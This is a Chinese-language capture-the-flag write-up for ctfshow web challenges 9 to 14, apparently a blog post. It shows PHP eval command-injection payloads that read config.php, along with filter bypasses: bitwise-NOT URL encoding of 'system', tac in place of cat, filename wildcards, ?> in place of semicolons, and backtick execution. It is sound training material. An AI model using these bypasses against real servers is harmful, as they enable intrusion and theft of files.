目录
web9
web10
web11
web12
web13
web14
web9
审一下代码,需要匹配到system|exec|highlight才会执行eval函数
先看一下当前目录下有什么
payload:?c=system('ls');
index.php是首页,我们看看config.php
payload:?c=system('cat config.php');
没有回显,看一下源码,找到flag
ctfshow{8e148a24-0ac7-4280-8bfe-f4fd4560112b}
web10
这次if语句里加了个非,即过滤掉了system|exec|highlight
用之前讲过的取反绕过,可以参考 http://t.csdnimg.cn/1p3dy
即对我们想要执行的代码进行取反,url编码,再取反
题目源代码里也有提示,flag在config.php里面
代码很简单我们直接使用在线编译工具生成payload
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'cat config.php');
?>
构造payload:?c=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%9C%90%91%99%96%98%D1%8F%97%8F);
传入之后查看源代码
ctfshow{826e3a2b-decb-42d0-ae45-dced3337b685}
web11
才发现上一道题其实只需要对system取反绕过即可,这里才是过滤掉了cat
继续使用上一道题的payload:
或者只对system取反绕过,cat用tac代替
tac命令:反向显示文件内容,即最先显示的是最后一行,倒数第二行,倒数第三行,以此类推到最后显示原本文件的第一行内容。
构造payload:?c=(~%8C%86%8C%8B%9A%92)('tac config.php');
ctfshow{eef3eb10-069e-4c10-83c3-facc913d4dae}
web12
这里把文件名config,php也过滤了
可以使用通配符 * 或者 ? 进行模糊查询
构造payload:?c=(~%8C%86%8C%8B%9A%92)('tac c*');
或者:?c=(~%8C%86%8C%8B%9A%92)('tac ???fi??p??');
随便怎么敲都行
ctfshow{523f3e7f-264f-438c-a355-aafb71807094}
web13
这里把;也过滤了
使用 ?>代替
构造payload:?c=(~%8C%86%8C%8B%9A%92)('tac c*')?>
ctfshow{660772e4-5170-4117-98ad-43611f2af520}
web14
过滤了括号,使用反引号``代替
system用echo替换,可以参考我前面的博客http://t.csdnimg.cn/M7VNu
构造payload: ?c=echo`tac c*`?>
ctfshow{2ebfa3da-656e-42e2-b3f1-0ecd342ec6b7}